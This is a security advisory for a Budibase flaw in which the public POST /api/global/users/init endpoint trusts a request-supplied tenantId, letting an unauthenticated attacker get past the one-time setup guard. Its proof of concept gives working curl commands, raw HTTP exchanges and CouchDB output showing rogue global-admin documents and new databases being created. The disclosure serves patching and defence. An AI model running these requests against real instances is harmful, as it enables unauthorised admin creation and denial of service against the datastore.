# GHSA-25QC-M4PW-2W8R: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (POST /api/global/users/init)

- Database: GitHub
- Severity: CVSS 8.2 (High)
- Published: 2026-11-10
- Modified: 2026-11-10

## Tracked as

- [CVE-2026-122247](https://cve.now/CVE-2026-122247.md): Budibase unauthenticated admin creation via init guard bypass

## Affected versions

- @budibase/server (npm): fixed in 4.0.0

## Description

## Description

### Summary

On a self-hosted, single-tenant Budibase instance (`multiTenancy:false`), the public bootstrap endpoint `POST /api/global/users/init` remains fully exploitable **after** the instance has been provisioned. Its "already initialised" guard (`checkAnyUserExists()`) is evaluated inside a **tenant-scoped** database context derived from an **attacker-controlled `tenantId`** in the request body. Because the tenancy layer never constrains that `tenantId` to the only legitimate tenant (`default`) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (`<tenantId>_global-db`) and a **global-admin** user document (`admin.global = true`, `builder.global = true`) inside it - with no authentication and no CSRF token.

This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.

### Details

Root cause chain (source, tag v3.44.0):

1. `packages/worker/src/api/index.ts:41` - `POST /api/global/users/init` is in `PUBLIC_ENDPOINTS`, so `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` marks it `publicEndpoint` and the "no public access to worker" gate (`api/index.ts:159-165`) lets it through **without any session**. It is also in `NO_TENANCY_ENDPOINTS` (`api/index.ts:83`), so the tenancy middleware does **not** pin the request to `default` - the tenant is taken verbatim from the request body - and in `NO_CSRF_ENDPOINTS`.
2. `packages/worker/src/middleware/cloudRestricted.ts:10,25` - the `cloudRestricted` guard only enforces the internal API key when `!env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL`. On a self-hosted instance (`SELF_HOSTED=true`) it is a **no-op** (`return next()`), so `cloudRestrictedRoutes` provides no protection here.
3. `packages/worker/src/api/routes/global/users.ts:69-79` - `cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser)`.
4. `packages/worker/src/api/controllers/global/users.ts:232` - the handler runs `await tenancy.doInTenant(tenantId, …)` using the **attacker-supplied** `tenantId`.
5. `packages/worker/src/api/controllers/global/users.ts:238` - the only guard, `const userExists = await checkAnyUserExists()`, throws 403 only if a user exists **in the current tenant context**.
6. `packages/worker/src/utilities/users.ts:3-15` - `checkAnyUserExists()` calls `tenancy.getGlobalDB()`, which resolves to `<tenantId>_global-db`. For any unused `tenantId` this DB is empty → the guard passes → `userSdk.db.createAdminUser(email, tenantId, …)` (`users.ts:247`) creates a full global admin.

The defect is **incorrect authorization scoping**: the single-tenant deployment invariant ("only tenant `default` exists; init is one-time") is never enforced against the request-supplied `tenantId`, so the guard is evaluated against a namespace the attacker chooses.

Configuration confirmed via `GET /api/system/environment` → `{"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}`.

### PoC

Target `http://127.0.0.1:3014` (Budibase `v3.44.0-cloud.2`). **No credentials, no cookies, no CSRF token.** All values real, captured live on 2026-09-02; nothing redacted.

---

#### Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (`default`)

```bash
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'
```

**Burp - Request**

```http
POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 82

{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}
```

**Burp - Response**

```http
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}
```

---

#### Step 2 - PAYLOAD: supply any unused `tenantId` → the guard is bypassed and a global admin is created, fully unauthenticated

```bash
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
```

**Burp - Request**

```http
POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 78

{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}
```

**Burp - Response**

```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}
```

The single differential - `tenantId:"default"` → 403, `tenantId:"f7poc"` → 200 with a persisted `us_…` id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.

---

#### Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard

```bash
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
```

**Burp - Response**

```http
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}
```

Each unique `tenantId` is a fresh write primitive - an attacker loops `tenantId=a0001,a0002,…` to create unbounded databases + admin docs (DoS).

---

#### Step 4 & 5 - datastore side-effect: a new `<tenant>_global-db` and a real global-admin document

Read directly from CouchDB inside the container (`$COUCH_DB_URL` = `http://admin:…@127.0.0.1:5984`):

```
GET /_all_dbs =>
[
 "app_cc322a9cd27a492eb934f43b146c6e81",
 "app_dev_cc322a9cd27a492eb934f43b146c6e81",
 "f7poc_global-db",     <-- created by the unauthenticated init call (tenantId=f7poc)
 "global-db"            <-- legitimate default-tenant global DB
]

rogue DB 'f7poc_global-db' present: True
```

The document created in `f7poc_global-db` is a full global admin:

```json
{
  "_id": "us_d0c2b6c9014a43e2899a2770d2e6280c",
  "email": "pwn-f7poc@evil.test",
  "admin":   { "global": true },
  "builder": { "global": true },
  "tenantId": "default",
  "roles": {}
}
```

---

#### Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off

```bash
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}'
```

**Burp - Response**

```http
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"Invalid credentials","status":403}
```

With `multiTenancy:false` the login flow forces the `default` tenant, so the injected admin is **not** usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).

### Impact

**Type:** Missing/incorrect authorization on a critical function - **unauthenticated bypass of the one-time initialization guard**, yielding anonymous global-admin-document and database creation.

**Who is impacted:** every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can:
- **defeat the first-run setup lock** that is supposed to be permanently closed after provisioning;
- **create global-admin user documents** in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore);
- **create an unbounded number of CouchDB databases** (`<rand>_global-db`) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the `_dbs` metadata shard).

## References

- https://github.com/Budibase/budibase/security/advisories/GHSA-25qc-m4pw-2w8r

Page: https://cve.now/GHSA-25QC-M4PW-2W8R
